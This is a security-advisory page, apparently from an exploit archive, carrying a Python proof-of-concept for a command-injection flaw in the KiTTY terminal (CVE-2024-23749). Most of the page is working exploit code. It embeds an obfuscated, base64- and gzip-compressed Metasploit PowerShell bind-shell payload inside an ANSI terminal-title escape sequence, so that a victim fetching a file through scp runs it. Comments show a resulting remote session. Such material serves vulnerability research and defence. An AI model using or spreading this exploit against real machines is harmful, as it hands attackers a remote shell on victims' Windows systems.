Headline
KiTTY 0.76.1.13 Command Injection
KiTTY versions 0.76.1.13 and below suffer from a command injection vulnerability when getting a remote file through scp. It appears to leverage an ANSI escape sequence issue which is quite an interesting vector of attack.
#!/usr/bin/python#----------------------------------------------------------------------------------------## Exploit: KiTTY ≤ 0.76.1.13 Command Injection Vulnerability in KiTTY ## Get Remote File Through SCP Input (CVE-2024-23749) ## OS: Microsoft Windows 11/10/8/7/XP ## Author: DEFCESCO (Austin A. DeFrancesco) ## Software: ## https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip ##----------------------------------------------------------------------------------------## More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY ##----------------------------------------------------------------------------------------## msf6 payload(cmd/windows/powershell_bind_tcp) > to_handler ## [*] Payload Handler Started as Job 1 ## msf6 payload(cmd/windows/powershell_bind_tcp) > ## [*] Started bind TCP handler against 192.168.100.28:4444 ## [*] Powershell session session 1 opened (192.168.100.119:36969 -> 192.168.100.28:4444) ##----------------------------------------------------------------------------------------#import osimport sys#-----------------------------------------------------------------## msf6 payload(cmd/windows/powershell_bind_tcp) > generate -f raw ##-----------------------------------------------------------------#shellcode = b'powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create'shellcode += b'((New-Object System.IO.StreamReader(New-Object System.IO.Compression.G'shellcode += b'zipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBa'shellcode += b'se64String(((\'H4sIAE7efGUCA5VVTW/b{2}BC{1}+1cMD{2}1GQiTCDXoKkGJdNV0Ey'shellcode += b'LZGlTYHw0BoahxrQ5NekoptJP7vJSXqw3\'+\'GCbXWwJc7w8fHNG3JRCmYKKeBvNMktzh'shellcode += b'kvUBgYPA3APsGG\'+\'wQV8wU3ydf4vMgPJzW6NX+gK7aAhNj+t8ptk8l3jJ1zQkptUYW4'shellcode += b'jBeXa\'+\'QgRGld\'+\'hmTZTc7siLDDveG2lyB/vBoqG4lhtU{1}suygyo+oYquwvp{1'shellcode += b'}mhlViPtZkMrVioo8PhzNNGdSvBj8JDeCS5pXo5HHVJKh1u\'+\'AFWMm85{2}gI/hVGUK'shellcode += b'cUCwibZSDB/2A4L0Q+jKpgPa+aywttUKCy\'+\'k6fZzr6viFMtk+wBjSY3bH3tM2bv7XM'shellcode += b'8kWhDlXHr\'+\'+pWrqC/RRS{1}vzBiujQWsyxHWVPZv0VX4iErjMeMWulfy15inE7/QcB'shellcode += b'g76n6{1}Qa2ZNgrpyhGs8Yj1VlaNWWIdpbokNSNnj6GvQI+P1jxrwN6ghKxUhdmRrEkN/f'shellcode += b'pxsLA+wjh8Cm4s+h4SqmF6M{2}cbrqTBFJUpFgWjBn{1}QXuTUmS2lnM8pe5hF0St0yLg0'shellcode += b'S+dUN2ms{2}zECUXIeDw3X786GnkEfoFWm21lfuul8Z3A6mwXu35luRMjZyD7PfzyN{\'+'shellcode += b'\'1}l5dFHkTDqcGt4agYDJ3jj4/H2fp1VXkFP/ocsLhrbWm3GiYu{2}bJlsg5qFIImw\'+'shellcode += b'\'1Wj1Jbew7hFAIUj+fuS7jmPrVjtjRtgMnVujRd8E6kcr\'+\'1Txf3SQJhG8E/BlNRyY'shellcode += b'SCVai1VJSGBsVvMJWlQaLEfMSd34k5443k5yK0tBobdxuJR3H2Qax\'+\'T3Ztk3Tt{2}2'shellcode += b'fesc{2}ef3VJqezuDaQjpZfMuTlufvc21mfZbqkrKl5VyDQiHaI6XL6mi7Jzw4iSPS7LY+'shellcode += b'tBqk6PlKPMoHTC63a6uttnq3KPu+pTbLgmMYBkXlunoT35DmYe2xGEYxBAfsI0gEwuhI0k'shellcode += b'unH+Y3Vsu3LgXfmC6FVBpfes07FNte1FHpofnzodpd\'+\'IyoERfSimrYbXTGP{1}g1Jc'shellcode += b'7\'+\'jV4Gcf/nwHz/C1NEmNCt48B1BnUAnSAJ/CySSDE/tf6X8tWeXhiEyoWbroBzjpQL'shellcode += b'a{2}SIBKSTUdzQ4W67Gu4oRxpCqMXmNw0f+wrbYdHBv4l/zbwfyvY/uGPfJrM+czL/Wyve'shellcode += b'/8weMP85RLjX4/VTs2t1DfMN3VlBm5bu4j/2ud2V7lbe3cFfoTVXnPBo0IAAA{0}\')-f'shellcode += b'\'=\',\'9\',\'O\')))),[System.IO.Compression.CompressionMode]::Decompr'shellcode += b'ess))).ReadToEnd()))\"'escape_sequence = b'\033]0;__rv:'escape_sequence += b'" & 'escape_sequence += shellcodeescape_sequence += b' #\007' stdout = os.fdopen(sys.stdout.fileno(), 'wb') stdout.write(escape_sequence)stdout.flush()